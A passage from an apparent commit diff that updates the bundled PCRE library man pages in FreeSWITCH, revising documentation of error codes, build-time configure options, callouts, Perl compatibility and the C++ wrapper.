 compiled pattern. This error could be caused by a bug in PCRE or by overwriting
@@ -1362,12 +1540,6 @@
 \fBpcre_extra\fP structure (or defaulted) was reached. See the description
 above.
 .sp
-  PCRE_ERROR_RECURSIONLIMIT (-21)
-.sp
-The internal recursion limit, as specified by the \fImatch_limit_recursion\fP
-field in a \fBpcre_extra\fP structure (or defaulted) was reached. See the
-description above.
-.sp
   PCRE_ERROR_CALLOUT        (-9)
 .sp
 This error is never generated by \fBpcre_exec()\fP itself. It is provided for
@@ -1411,6 +1583,18 @@
   PCRE_ERROR_BADCOUNT       (-15)
 .sp
 This error is given if the value of the \fIovecsize\fP argument is negative.
+.sp
+  PCRE_ERROR_RECURSIONLIMIT (-21)
+.sp
+The internal recursion limit, as specified by the \fImatch_limit_recursion\fP
+field in a \fBpcre_extra\fP structure (or defaulted) was reached. See the
+description above.
+.sp
+  PCRE_ERROR_BADNEWLINE     (-23)
+.sp
+An invalid combination of PCRE_NEWLINE_\fIxxx\fP options was given.
+.P
+Error numbers -16 to -20 and -22 are not used by \fBpcre_exec()\fP.
 .
 .
 .SH "EXTRACTING CAPTURED SUBSTRINGS BY NUMBER"
@@ -1422,14 +1606,12 @@
 .ti +5n
 .B int \fIbuffersize\fP);
 .PP
-.br
 .B int pcre_get_substring(const char *\fIsubject\fP, int *\fIovector\fP,
 .ti +5n
 .B int \fIstringcount\fP, int \fIstringnumber\fP,
 .ti +5n
 .B const char **\fIstringptr\fP);
 .PP
-.br
 .B int pcre_get_substring_list(const char *\fIsubject\fP,
 .ti +5n
 .B int *\fIovector\fP, int \fIstringcount\fP, "const char ***\fIlistptr\fP);"
@@ -1468,7 +1650,7 @@
 \fIbuffersize\fP, while for \fBpcre_get_substring()\fP a new block of memory is
 obtained via \fBpcre_malloc\fP, and its address is returned via
 \fIstringptr\fP. The yield of the function is the length of the string, not
-including the terminating zero, or one of
+including the terminating zero, or one of these error codes:
 .sp
   PCRE_ERROR_NOMEMORY       (-6)
 .sp
@@ -1484,7 +1666,7 @@
 memory that is obtained via \fBpcre_malloc\fP. The address of the memory block
 is returned via \fIlistptr\fP, which is also the start of the list of string
 pointers. The end of the list is marked by a NULL pointer. The yield of the
-function is zero if all went well, or
+function is zero if all went well, or the error code
 .sp
   PCRE_ERROR_NOMEMORY       (-6)
 .sp
@@ -1515,7 +1697,6 @@
 .ti +5n
 .B const char *\fIname\fP);
 .PP
-.br
 .B int pcre_copy_named_substring(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIsubject\fP, int *\fIovector\fP,
@@ -1524,7 +1705,6 @@
 .ti +5n
 .B char *\fIbuffer\fP, int \fIbuffersize\fP);
 .PP
-.br
 .B int pcre_get_named_substring(const pcre *\fIcode\fP,
 .ti +5n
 .B const char *\fIsubject\fP, int *\fIovector\fP,
@@ -1536,7 +1716,7 @@
 To extract a substring by name, you first have to find associated number.
 For example, for this pattern
 .sp
-  (a+)b(?P<xxx>\ed+)...
+  (a+)b(?<xxx>\ed+)...
 .sp
 the number of the subpattern called "xxx" is 2. If the name is known to be
 unique (PCRE_DUPNAMES was not set), you can find the number from the name by
@@ -1560,10 +1740,15 @@
 translation table.
 .P
 These functions call \fBpcre_get_stringnumber()\fP, and if it succeeds, they
-then call \fIpcre_copy_substring()\fP or \fIpcre_get_substring()\fP, as
-appropriate.
+then call \fBpcre_copy_substring()\fP or \fBpcre_get_substring()\fP, as
+appropriate. \fBNOTE:\fP If PCRE_DUPNAMES is set and there are duplicate names,
+the behaviour may not be what you want (see the next section).
+.P
+\fBWarning:\fP If the pattern uses the "(?|" feature to set up multiple
+subpatterns with the same number, you cannot use names to distinguish them,
+because names are not included in the compiled code. The matching process uses
+only numbers.
 .
-.
 .SH "DUPLICATE SUBPATTERN NAMES"
 .rs
 .sp
@@ -1578,22 +1763,25 @@
 .\" HREF
 \fBpcrepattern\fP
 .\"
-documentation. When duplicates are present, \fBpcre_copy_named_substring()\fP
-and \fBpcre_get_named_substring()\fP return the first substring corresponding
-to the given name that is set. If none are set, an empty string is returned.
-The \fBpcre_get_stringnumber()\fP function returns one of the numbers that are
-associated with the name, but it is not defined which it is.
-.sp
+documentation.
+.P
+When duplicates are present, \fBpcre_copy_named_substring()\fP and
+\fBpcre_get_named_substring()\fP return the first substring corresponding to
+the given name that is set. If none are set, PCRE_ERROR_NOSUBSTRING (-7) is
+returned; no data is returned. The \fBpcre_get_stringnumber()\fP function
+returns one of the numbers that are associated with the name, but it is not
+defined which it is.
+.P
 If you want to get full details of all captured substrings for a given name,
 you must use the \fBpcre_get_stringtable_entries()\fP function. The first
 argument is the compiled pattern, and the second is the name. The third and
 fourth are pointers to variables which are updated by the function. After it
 has run, they point to the first and last entries in the name-to-number table
 for the given name. The function itself returns the length of each entry, or
-PCRE_ERROR_NOSUBSTRING if there are none. The format of the table is described
-above in the section entitled \fIInformation about a pattern\fP. Given all the
-relevant entries for the name, you can extract each of their numbers, and hence
-the captured data, if any.
+PCRE_ERROR_NOSUBSTRING (-7) if there are none. The format of the table is
+described above in the section entitled \fIInformation about a pattern\fP.
+Given all the relevant entries for the name, you can extract each of their
+numbers, and hence the captured data, if any.
 .
 .
 .SH "FINDING ALL POSSIBLE MATCHES"
@@ -1631,11 +1819,12 @@
 .B int *\fIworkspace\fP, int \fIwscount\fP);
 .P
 The function \fBpcre_dfa_exec()\fP is called to match a subject string against
-a compiled pattern, using a "DFA" matching algorithm. This has different
-characteristics to the normal algorithm, and is not compatible with Perl. Some
-of the features of PCRE patterns are not supported. Nevertheless, there are
-times when this kind of matching can be useful. For a discussion of the two
-matching algorithms, see the
+a compiled pattern, using a matching algorithm that scans the subject string
+just once, and does not backtrack. This has different characteristics to the
+normal algorithm, and is not compatible with Perl. Some of the features of PCRE
+patterns are not supported. Nevertheless, there are times when this kind of
+matching can be useful. For a discussion of the two matching algorithms, see
+the
 .\" HREF
 \fBpcrematching\fP
 .\"
@@ -1691,9 +1880,9 @@
   PCRE_DFA_SHORTEST
 .sp
 Setting the PCRE_DFA_SHORTEST option causes the matching algorithm to stop as
-soon as it has found one match. Because of the way the DFA algorithm works,
-this is necessarily the shortest possible match at the first possible matching
-point in the subject string.
+soon as it has found one match. Because of the way the alternative algorithm
+works, this is necessarily the shortest possible match at the first possible
+matching point in the subject string.
 .sp
   PCRE_DFA_RESTART
 .sp
@@ -1732,10 +1921,10 @@
 On success, the yield of the function is a number greater than zero, which is
 the number of matched substrings. The substrings themselves are returned in
 \fIovector\fP. Each string uses two elements; the first is the offset to the
-start, and the second is the offset to the end. All the strings have the same
-start offset. (Space could have been saved by giving this only once, but it was
-decided to retain some compatibility with the way \fBpcre_exec()\fP returns
-data, even though the meaning of the strings is different.)
+start, and the second is the offset to the end. In fact, all the strings have
+the same start offset. (Space could have been saved by giving this only once,
+but it was decided to retain some compatibility with the way \fBpcre_exec()\fP
+returns data, even though the meaning of the strings is different.)
 .P
 The strings are returned in reverse order of length; that is, the longest
 matching string is given first. If there were too many matches to fit into
@@ -1762,8 +1951,9 @@
 .sp
   PCRE_ERROR_DFA_UCOND      (-17)
 .sp
-This return is given if \fBpcre_dfa_exec()\fP encounters a condition item in a
-pattern that uses a back reference for the condition. This is not supported.
+This return is given if \fBpcre_dfa_exec()\fP encounters a condition item that
+uses a back reference for the condition, or a test for recursion in a specific
+group. These are not supported.
 .sp
   PCRE_ERROR_DFA_UMLIMIT    (-18)
 .sp
@@ -1782,8 +1972,30 @@
 recursively, using private vectors for \fIovector\fP and \fIworkspace\fP. This
 error is given if the output vector is not large enough. This should be
 extremely rare, as a vector of size 1000 is used.
-.P
-.in 0
-Last updated: 08 June 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+.
+.
+.SH "SEE ALSO"
+.rs
+.sp
+\fBpcrebuild\fP(3), \fBpcrecallout\fP(3), \fBpcrecpp(3)\fP(3),
+\fBpcrematching\fP(3), \fBpcrepartial\fP(3), \fBpcreposix\fP(3),
+\fBpcreprecompile\fP(3), \fBpcresample\fP(3), \fBpcrestack\fP(3).
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 11 April 2009
+Copyright (c) 1997-2009 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcrebuild.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcrebuild.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcrebuild.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,16 +5,21 @@
 .rs
 .sp
 This document describes the optional features of PCRE that can be selected when
-the library is compiled. They are all selected, or deselected, by providing
-options to the \fBconfigure\fP script that is run before the \fBmake\fP
-command. The complete list of options for \fBconfigure\fP (which includes the
-standard ones such as the selection of the installation directory) can be
-obtained by running
+the library is compiled. It assumes use of the \fBconfigure\fP script, where
+the optional features are selected or deselected by providing options to
+\fBconfigure\fP before running the \fBmake\fP command. However, the same
+options can be selected in both Unix-like and non-Unix-like environments using
+the GUI facility of \fBCMakeSetup\fP if you are using \fBCMake\fP instead of
+\fBconfigure\fP to build PCRE.
+.P
+The complete list of options for \fBconfigure\fP (which includes the standard
+ones such as the selection of the installation directory) can be obtained by
+running
 .sp
   ./configure --help
 .sp
-The following sections describe certain options whose names begin with --enable
-or --disable. These settings specify changes to the defaults for the
+The following sections include descriptions of options whose names begin with
+--enable or --disable. These settings specify changes to the defaults for the
 \fBconfigure\fP command. Because of the way that \fBconfigure\fP works,
 --enable and --disable always come in pairs, so the complementary option always
 exists as well, but as it specifies the default, it is not described.
@@ -33,7 +38,7 @@
 .SH "UTF-8 SUPPORT"
 .rs
 .sp
-To build PCRE with support for UTF-8 character strings, add
+To build PCRE with support for UTF-8 Unicode character strings, add
 .sp
   --enable-utf8
 .sp
@@ -41,6 +46,12 @@
 strings as UTF-8. As well as compiling PCRE with this option, you also have
 have to set the PCRE_UTF8 option when you call the \fBpcre_compile()\fP
 function.
+.P
+If you set --enable-utf8 when compiling in an EBCDIC environment, PCRE expects
+its input to be either ASCII or UTF-8 (depending on the runtime option). It is
+not possible to support both EBCDIC and UTF-8 codes in the same version of the
+library. Consequently, --enable-utf8 and --enable-ebcdic are mutually
+exclusive.
 .
 .SH "UNICODE CHARACTER PROPERTY SUPPORT"
 .rs
@@ -56,9 +67,9 @@
 to the \fBconfigure\fP command. This implies UTF-8 support, even if you have
 not explicitly requested it.
 .P
-Including Unicode property support adds around 90K of tables to the PCRE
-library, approximately doubling its size. Only the general category properties
-such as \fILu\fP and \fINd\fP are supported. Details are given in the
+Including Unicode property support adds around 30K of tables to the PCRE
+library. Only the general category properties such as \fILu\fP and \fINd\fP are
+supported. Details are given in the
 .\" HREF
 \fBpcrepattern\fP
 .\"
@@ -67,9 +78,9 @@
 .SH "CODE VALUE OF NEWLINE"
 .rs
 .sp
-By default, PCRE interprets character 10 (linefeed, LF) as indicating the end
+By default, PCRE interprets the linefeed (LF) character as indicating the end
 of a line. This is the normal newline character on Unix-like systems. You can
-compile PCRE to use character 13 (carriage return, CR) instead, by adding
+compile PCRE to use carriage return (CR) instead, by adding
 .sp
   --enable-newline-is-cr
 .sp
@@ -81,10 +92,33 @@
 .sp
   --enable-newline-is-crlf
 .sp
-to the \fBconfigure\fP command. Whatever line ending convention is selected
-when PCRE is built can be overridden when the library functions are called. At
-build time it is conventional to use the standard for your operating system.
+to the \fBconfigure\fP command. There is a fourth option, specified by
+.sp
+  --enable-newline-is-anycrlf
+.sp
+which causes PCRE to recognize any of the three sequences CR, LF, or CRLF as
+indicating a line ending. Finally, a fifth option, specified by
+.sp
+  --enable-newline-is-any
+.sp
+causes PCRE to recognize any Unicode newline sequence.
+.P
+Whatever line ending convention is selected when PCRE is built can be
+overridden when the library functions are called. At build time it is
+conventional to use the standard for your operating system.
 .
+.SH "WHAT \eR MATCHES"
+.rs
+.sp
+By default, the sequence \eR in a pattern matches any Unicode newline sequence,
+whatever has been selected as the line ending sequence. If you specify
+.sp
+  --enable-bsr-anycrlf
+.sp
+the default is changed so that \eR matches only CR, LF, or CRLF. Whatever is
+selected when PCRE is built can be overridden when the library functions are
+called.
+.
 .SH "BUILDING SHARED AND STATIC LIBRARIES"
 .rs
 .sp
@@ -131,10 +165,6 @@
 to the \fBconfigure\fP command. The value given must be 2, 3, or 4. Using
 longer offsets slows down the operation of PCRE because it has to load
 additional bytes when handling them.
-.P
-If you build PCRE with an increased link size, test 2 (and test 5 if you are
-using UTF-8) will fail. Part of the output of these tests is a representation
-of the compiled pattern, and this changes with the link size.
 .
 .SH "AVOIDING EXCESSIVE STACK USAGE"
 .rs
@@ -157,13 +187,17 @@
 .sp
 to the \fBconfigure\fP command. With this configuration, PCRE will use the
 \fBpcre_stack_malloc\fP and \fBpcre_stack_free\fP variables to call memory
-management functions. Separate functions are provided because the usage is very
-predictable: the block sizes requested are always the same, and the blocks are
-always freed in reverse order. A calling program might be able to implement
-optimized functions that perform better than the standard \fBmalloc()\fP and
-\fBfree()\fP functions. PCRE runs noticeably more slowly when built in this
-way. This option affects only the \fBpcre_exec()\fP function; it is not
-relevant for the the \fBpcre_dfa_exec()\fP function.
+management functions. By default these point to \fBmalloc()\fP and
+\fBfree()\fP, but you can replace the pointers so that your own functions are
+used.
+.P
+Separate functions are provided rather than using \fBpcre_malloc\fP and
+\fBpcre_free\fP because the usage is very predictable: the block sizes
+requested are always the same, and the blocks are always freed in reverse
+order. A calling program might be able to implement optimized functions that
+perform better than \fBmalloc()\fP and \fBfree()\fP. PCRE runs noticeably more
+slowly when built in this way. This option affects only the \fBpcre_exec()\fP
+function; it is not relevant for the the \fBpcre_dfa_exec()\fP function.
 .
 .SH "LIMITING PCRE RESOURCE USAGE"
 .rs
@@ -196,18 +230,105 @@
 .sp
 to the \fBconfigure\fP command. This value can also be overridden at run time.
 .
+.SH "CREATING CHARACTER TABLES AT BUILD TIME"
+.rs
+.sp
+PCRE uses fixed tables for processing characters whose code values are less
+than 256. By default, PCRE is built with a set of tables that are distributed
+in the file \fIpcre_chartables.c.dist\fP. These tables are for ASCII codes
+only. If you add
+.sp
+  --enable-rebuild-chartables
+.sp
+to the \fBconfigure\fP command, the distributed tables are no longer used.
+Instead, a program called \fBdftables\fP is compiled and run. This outputs the
+source for new set of tables, created in the default locale of your C runtime
+system. (This method of replacing the tables does not work if you are cross
+compiling, because \fBdftables\fP is run on the local host. If you need to
+create alternative tables when cross compiling, you will have to do so "by
+hand".)
+.
 .SH "USING EBCDIC CODE"
 .rs
 .sp
 PCRE assumes by default that it will run in an environment where the character
-code is ASCII (or Unicode, which is a superset of ASCII). PCRE can, however, be
-compiled to run in an EBCDIC environment by adding
+code is ASCII (or Unicode, which is a superset of ASCII). This is the case for
+most computer operating systems. PCRE can, however, be compiled to run in an
+EBCDIC environment by adding
 .sp
   --enable-ebcdic
 .sp
-to the \fBconfigure\fP command.
+to the \fBconfigure\fP command. This setting implies
+--enable-rebuild-chartables. You should only use it if you know that you are in
+an EBCDIC environment (for example, an IBM mainframe operating system). The
+--enable-ebcdic option is incompatible with --enable-utf8.
+.
+.SH "PCREGREP OPTIONS FOR COMPRESSED FILE SUPPORT"
+.rs
+.sp
+By default, \fBpcregrep\fP reads all files as plain text. You can build it so
+that it recognizes files whose names end in \fB.gz\fP or \fB.bz2\fP, and reads
+them with \fBlibz\fP or \fBlibbz2\fP, respectively, by adding one or both of
+.sp
+  --enable-pcregrep-libz
+  --enable-pcregrep-libbz2
+.sp
+to the \fBconfigure\fP command. These options naturally require that the
+relevant libraries are installed on your system. Configuration will fail if
+they are not.
+.
+.SH "PCRETEST OPTION FOR LIBREADLINE SUPPORT"
+.rs
+.sp
+If you add
+.sp
+  --enable-pcretest-libreadline
+.sp
+to the \fBconfigure\fP command, \fBpcretest\fP is linked with the
+\fBlibreadline\fP library, and when its input is from a terminal, it reads it
+using the \fBreadline()\fP function. This provides line-editing and history
+facilities. Note that \fBlibreadline\fP is GPL-licenced, so if you distribute a
+binary of \fBpcretest\fP linked in this way, there may be licensing issues.
 .P
-.in 0
-Last updated: 06 June 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+Setting this option causes the \fB-lreadline\fP option to be added to the
+\fBpcretest\fP build. In many operating environments with a sytem-installed
+\fBlibreadline\fP this is sufficient. However, in some environments (e.g.
+if an unmodified distribution version of readline is in use), some extra
+configuration may be necessary. The INSTALL file for \fBlibreadline\fP says
+this:
+.sp
+  "Readline uses the termcap functions, but does not link with the
+  termcap or curses library itself, allowing applications which link
+  with readline the to choose an appropriate library."
+.sp
+If your environment has not been set up so that an appropriate library is
+automatically included, you may need to add something like
+.sp
+  LIBS="-ncurses"
+.sp
+immediately before the \fBconfigure\fP command.
+.
+.
+.SH "SEE ALSO"
+.rs
+.sp
+\fBpcreapi\fP(3), \fBpcre_config\fP(3).
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 17 March 2009
+Copyright (c) 1997-2009 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcrecallout.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcrecallout.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcrecallout.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,7 +17,7 @@
 a number less than 256 after the letter C. The default value is zero.
 For example, this pattern has two callout points:
 .sp
-  (?C1)\deabc(?C2)def
+  (?C1)abc(?C2)def
 .sp
 If the PCRE_AUTO_CALLOUT option bit is set when \fBpcre_compile()\fP is called,
 PCRE automatically inserts callouts, all with number 255, before each item in
@@ -44,7 +44,8 @@
 .rs
 .sp
 You should be aware that, because of optimizations in the way PCRE matches
-patterns, callouts sometimes do not happen. For example, if the pattern is
+patterns by default, callouts sometimes do not happen. For example, if the
+pattern is
 .sp
   ab(?C4)cd
 .sp
@@ -52,6 +53,11 @@
 string is "abyz", the lack of "d" means that matching doesn't ever start, and
 the callout is never reached. However, with "abyd", though the result is still
 no match, the callout is obeyed.
+.P
+You can disable these optimizations by passing the PCRE_NO_START_OPTIMIZE
+option to \fBpcre_exec()\fP or \fBpcre_dfa_exec()\fP. This slows down the
+matching process, but does ensure that callouts such as the example above are
+obeyed.
 .
 .
 .SH "THE CALLOUT INTERFACE"
@@ -95,10 +101,12 @@
 The \fIsubject\fP and \fIsubject_length\fP fields contain copies of the values
 that were passed to \fBpcre_exec()\fP.
 .P
-The \fIstart_match\fP field contains the offset within the subject at which the
-current match attempt started. If the pattern is not anchored, the callout
-function may be called several times from the same point in the pattern for
-different starting points in the subject.
+The \fIstart_match\fP field normally contains the offset within the subject at
+which the current match attempt started. However, if the escape sequence \eK
+has been encountered, this value is changed to reflect the modified starting
+point. If the pattern is not anchored, the callout function may be called
+several times from the same point in the pattern for different starting points
+in the subject.
 .P
 The \fIcurrent_position\fP field contains the offset within the subject of the
 current match pointer.
@@ -154,8 +162,22 @@
 values. In particular, PCRE_ERROR_NOMATCH forces a standard "no match" failure.
 The error number PCRE_ERROR_CALLOUT is reserved for use by callout functions;
 it will never be used by PCRE itself.
-.P
-.in 0
-Last updated: 28 February 2005
-.br
-Copyright (c) 1997-2005 University of Cambridge.
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 15 March 2009
+Copyright (c) 1997-2009 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcrecompat.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcrecompat.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcrecompat.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,8 +5,9 @@
 .rs
 .sp
 This document describes the differences in the ways that PCRE and Perl handle
-regular expressions. The differences described here are with respect to Perl
-5.8.
+regular expressions. The differences described here are mainly with respect to
+Perl 5.8, though PCRE versions 7.0 and later contain some features that are
+expected to be in the forthcoming Perl 5.10.
 .P
 1. PCRE has only a subset of Perl's UTF-8 and Unicode support. Details of what
 it does have are given in the
@@ -63,20 +64,32 @@
 .sp
 The \eQ...\eE sequence is recognized both inside and outside character classes.
 .P
-8. Fairly obviously, PCRE does not support the (?{code}) and (?p{code})
-constructions. However, there is support for recursive patterns using the
-non-Perl items (?R), (?number), and (?P>name). Also, the PCRE "callout" feature
-allows an external function to be called during pattern matching. See the
+8. Fairly obviously, PCRE does not support the (?{code}) and (??{code})
+constructions. However, there is support for recursive patterns. This is not
+available in Perl 5.8, but will be in Perl 5.10. Also, the PCRE "callout"
+feature allows an external function to be called during pattern matching. See
+the
 .\" HREF
 \fBpcrecallout\fP
 .\"
 documentation for details.
 .P
-9. There are some differences that are concerned with the settings of captured
+9. Subpatterns that are called recursively or as "subroutines" are always
+treated as atomic groups in PCRE. This is like Python, but unlike Perl.
+.P
+10. There are some differences that are concerned with the settings of captured
 strings when part of a pattern is repeated. For example, matching "aba" against
 the pattern /^(a(b)?)+$/ in Perl leaves $2 unset, but in PCRE it is set to "b".
 .P
-10. PCRE provides some extensions to the Perl regular expression facilities:
+11. PCRE does support Perl 5.10's backtracking verbs (*ACCEPT), (*FAIL), (*F),
+(*COMMIT), (*PRUNE), (*SKIP), and (*THEN), but only in the forms without an
+argument. PCRE does not support (*MARK). If (*ACCEPT) is within capturing
+parentheses, PCRE does not set that capture group; this is different to Perl.
+.P
+12. PCRE provides some extensions to the Perl regular expression facilities.
+Perl 5.10 will include new features that are not in earlier versions, some of
+which (such as named parentheses) have been in PCRE for some time. This list is
+with respect to Perl 5.10:
 .sp
 (a) Although lookbehind assertions must match fixed length strings, each
 alternative branch of a lookbehind assertion can match a different length of
@@ -86,8 +99,8 @@
 meta-character matches only at the very end of the string.
 .sp
 (c) If PCRE_EXTRA is set, a backslash followed by a letter with no special
-meaning is faulted. Otherwise, like Perl, the backslash is ignored. (Perl can
-be made to issue a warning.)
+meaning is faulted. Otherwise, like Perl, the backslash is quietly ignored.
+(Perl can be made to issue a warning.)
 .sp
 (d) If PCRE_UNGREEDY is set, the greediness of the repetition quantifiers is
 inverted, that is, by default they are not greedy, but if followed by a
@@ -99,28 +112,37 @@
 (f) The PCRE_NOTBOL, PCRE_NOTEOL, PCRE_NOTEMPTY, and PCRE_NO_AUTO_CAPTURE
 options for \fBpcre_exec()\fP have no Perl equivalents.
 .sp
-(g) The (?R), (?number), and (?P>name) constructs allows for recursive pattern
-matching (Perl can do this using the (?p{code}) construct, which PCRE cannot
-support.)
+(g) The \eR escape sequence can be restricted to match only CR, LF, or CRLF
+by the PCRE_BSR_ANYCRLF option.
 .sp
-(h) PCRE supports named capturing substrings, using the Python syntax.
+(h) The callout facility is PCRE-specific.
 .sp
-(i) PCRE supports the possessive quantifier "++" syntax, taken from Sun's Java
-package.
+(i) The partial matching facility is PCRE-specific.
 .sp
-(j) The (R) condition, for testing recursion, is a PCRE extension.
+(j) Patterns compiled by PCRE can be saved and re-used at a later time, even on
+different hosts that have the other endianness.
 .sp
-(k) The callout facility is PCRE-specific.
+(k) The alternative matching function (\fBpcre_dfa_exec()\fP) matches in a
+different way and is not Perl-compatible.
 .sp
-(l) The partial matching facility is PCRE-specific.
+(l) PCRE recognizes some special sequences such as (*CR) at the start of
+a pattern that set overall options that cannot be changed within the pattern.
+.
+.
+.SH AUTHOR
+.rs
 .sp
-(m) Patterns compiled by PCRE can be saved and re-used at a later time, even on
-different hosts that have the other endianness.
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
 .sp
-(n) The alternative matching function (\fBpcre_dfa_exec()\fP) matches in a
-different way and is not Perl-compatible.
-.P
-.in 0
-Last updated: 06 June 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+.nf
+Last updated: 11 September 2007
+Copyright (c) 1997-2007 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcrecpp.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcrecpp.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcrecpp.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,9 +5,7 @@
 .rs
 .sp
 .B #include <pcrecpp.h>
-.PP
-.SM
-.br
+.
 .SH DESCRIPTION
 .rs
 .sp
@@ -81,15 +79,43 @@
 .sp
   c. The "i"th argument has a suitable type for holding the
      string captured as the "i"th sub-pattern. If you pass in
-     NULL for the "i"th argument, or pass fewer arguments than
+     void * NULL for the "i"th argument, or a non-void * NULL
+     of the correct type, or pass fewer arguments than the
      number of sub-patterns, "i"th captured sub-pattern is
      ignored.
 .sp
+CAVEAT: An optional sub-pattern that does not exist in the matched
+string is assigned the empty string. Therefore, the following will
+return false (because the empty string is not a valid number):
+.sp
+   int number;
+   pcrecpp::RE::FullMatch("abc", "[a-z]+(\e\ed+)?", &number);
+.sp
 The matching interface supports at most 16 arguments per call.
 If you need more, consider using the more general interface
 \fBpcrecpp::RE::DoMatch\fP. See \fBpcrecpp.h\fP for the signature for
 \fBDoMatch\fP.
+.P
+NOTE: Do not use \fBno_arg\fP, which is used internally to mark the end of a
+list of optional arguments, as a placeholder for missing arguments, as this can
+lead to segfaults.
 .
+.
+.SH "QUOTING METACHARACTERS"
+.rs
+.sp
+You can use the "QuoteMeta" operation to insert backslashes before all
+potentially meaningful characters in a string. The returned string, used as a
+regular expression, will exactly match the original string.
+.sp
+  Example:
+     string quoted = RE::QuoteMeta(unquoted);
+.sp
+Note that it's legal to escape a character even if it has no special meaning in
+a regular expression -- so this function does that. (This also makes it
+identical to the perl function of the same name; see "perldoc -f quotemeta".)
+For example, "1.5-2.0?" becomes "1\e.5\e-2\e.0\e?".
+.
 .SH "PARTIAL MATCHES"
 .rs
 .sp
@@ -307,6 +333,15 @@
 .SH AUTHOR
 .rs
 .sp
+.nf
 The C++ wrapper was contributed by Google Inc.
-.br
-Copyright (c) 2005 Google Inc.
+Copyright (c) 2007 Google Inc.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 17 March 2009
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcregrep.1 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcregrep.1	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcregrep.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,10 +11,10 @@
 grep commands do, but it uses the PCRE regular expression library to support
 patterns that are compatible with the regular expressions of Perl 5. See
 .\" HREF
-\fBpcrepattern\fP
+\fBpcrepattern\fP(3)
 .\"
-for a full description of syntax and semantics of the regular expressions that
-PCRE supports.
+for a full description of syntax and semantics of the regular expressions
+that PCRE supports.
 .P
 Patterns, whether supplied on the command line or in a separate file, are given
 without delimiters. For example:
@@ -23,9 +23,9 @@
 .sp
 If you attempt to use delimiters (for example, by surrounding a pattern with
 slashes, as is common in Perl scripts), they are interpreted as part of the
-pattern. Quotes can of course be used on the command line because they are
-interpreted by the shell, and indeed they are required if a pattern contains
-white space or shell metacharacters.
+pattern. Quotes can of course be used to delimit patterns on the command line
+because they are interpreted by the shell, and indeed they are required if a
+pattern contains white space or shell metacharacters.
 .P
 The first argument that follows any option settings is treated as the single
 pattern to be matched when neither \fB-e\fP nor \fB-f\fP is present.
@@ -39,20 +39,53 @@
 .sp
   pcregrep some-pattern /file1 - /file3
 .sp
-By default, each line that matches the pattern is copied to the standard
+By default, each line that matches a pattern is copied to the standard
 output, and if there is more than one file, the file name is output at the
-start of each line. However, there are options that can change how
-\fBpcregrep\fP behaves. In particular, the \fB-M\fP option makes it possible to
-search for patterns that span line boundaries. What defines a line boundary is
-controlled by the \fB-N\fP (\fB--newline\fP) option.
+start of each line, followed by a colon. However, there are options that can
+change how \fBpcregrep\fP behaves. In particular, the \fB-M\fP option makes it
+possible to search for patterns that span line boundaries. What defines a line
+boundary is controlled by the \fB-N\fP (\fB--newline\fP) option.
 .P
 Patterns are limited to 8K or BUFSIZ characters, whichever is the greater.
-BUFSIZ is defined in \fB<stdio.h>\fP.
+BUFSIZ is defined in \fB<stdio.h>\fP. When there is more than one pattern
+(specified by the use of \fB-e\fP and/or \fB-f\fP), each pattern is applied to
+each line in the order in which they are defined, except that all the \fB-e\fP
+patterns are tried before the \fB-f\fP patterns.
 .P
+By default, as soon as one pattern matches (or fails to match when \fB-v\fP is
+used), no further patterns are considered. However, if \fB--colour\fP (or
+\fB--color\fP) is used to colour the matching substrings, or if
+\fB--only-matching\fP, \fB--file-offsets\fP, or \fB--line-offsets\fP is used to
+output only the part of the line that matched (either shown literally, or as an
+offset), scanning resumes immediately following the match, so that further
+matches on the same line can be found. If there are multiple patterns, they are
+all tried on the remainder of the line, but patterns that follow the one that
+matched are not tried on the earlier part of the line.
+.P
+This is the same behaviour as GNU grep, but it does mean that the order in
+which multiple patterns are specified can affect the output when one of the
+above options is used.
+.P
+Patterns that can match an empty string are accepted, but empty string
+matches are not recognized. An example is the pattern "(super)?(man)?", in
+which all components are optional. This pattern finds all occurrences of both
+"super" and "man"; the output differs from matching with "super|man" when only
+the matching substrings are being shown.
+.P
 If the \fBLC_ALL\fP or \fBLC_CTYPE\fP environment variable is set,
